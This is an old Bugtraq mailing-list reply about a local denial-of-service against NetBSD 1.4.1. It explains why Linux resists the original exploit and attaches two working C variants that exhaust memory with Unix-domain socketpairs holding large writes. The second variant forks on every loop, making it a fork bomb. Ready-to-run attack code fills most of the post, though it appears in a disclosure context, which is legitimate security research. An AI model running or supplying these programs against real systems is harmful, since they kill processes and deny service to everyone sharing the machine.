Subject:      Re: NetBSD 1.4.1 local DoS
To: BUGTRAQ@SECURITYFOCUS.COM 


This does not `freeze' the system per se.  What it does is tie up all
the network resources, and make it impossible to any network I/O (even
through Un*x-domain sockets).


Linux is not generally vulnerable to the exploit as posted, because it
seems to only accept 64512 bytes from the write(2)s, and limit the
file descriptor table to 256 entries (at least by default), thus
making the program chew up less memory.  However, a trivial variant
(attached below) causes memory exhaustion on the Linux system I
tested.  Interestingly, this did not cause the Linux system to crash,
but it does cause a bunch of processes to be killed -- gpm, klogd,
update, crond, and finally the test program itself.  So there is still
a denial of service, especially if the program is modified to
continually fork as well (also attached below, although it could be
done a bit better).


-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----
#include        <unistd.h>
#include        <sys/socket.h>
#include        <fcntl.h>


#define         NPROCS          20
#define         BUFFERSIZE      204800


extern  int
main(void)
{
        int             p[2], i;
        char            crap[BUFFERSIZE];


        for (i = 0; i < NPROCS - 1; i++) {
                if (fork())
                        break;
        }
        sleep(5);
        while (1)
        {
                if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
                        break;
                i = BUFFERSIZE;
                setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
                setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
                setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
                setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
                fcntl(p[0], F_SETFL, O_NONBLOCK);
                fcntl(p[1], F_SETFL, O_NONBLOCK);
                write(p[0], crap, BUFFERSIZE);
                write(p[1], crap, BUFFERSIZE);
        }
        pause();


        return (0);
}
-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----
#include        <unistd.h>
#include        <sys/socket.h>
#include        <fcntl.h>


#define         BUFFERSIZE      204800


extern  int
main(void)
{
        int             p[2], i;
        char            crap[BUFFERSIZE];


        while (1)
        {
                fork();
                if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
                        break;
                i = BUFFERSIZE;
                setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
                setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
                setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
                setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
                fcntl(p[0], F_SETFL, O_NONBLOCK);
                fcntl(p[1], F_SETFL, O_NONBLOCK);
                write(p[0], crap, BUFFERSIZE);
                write(p[1], crap, BUFFERSIZE);
        }
        pause();


        return (0);
}
-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----snip-----8<-----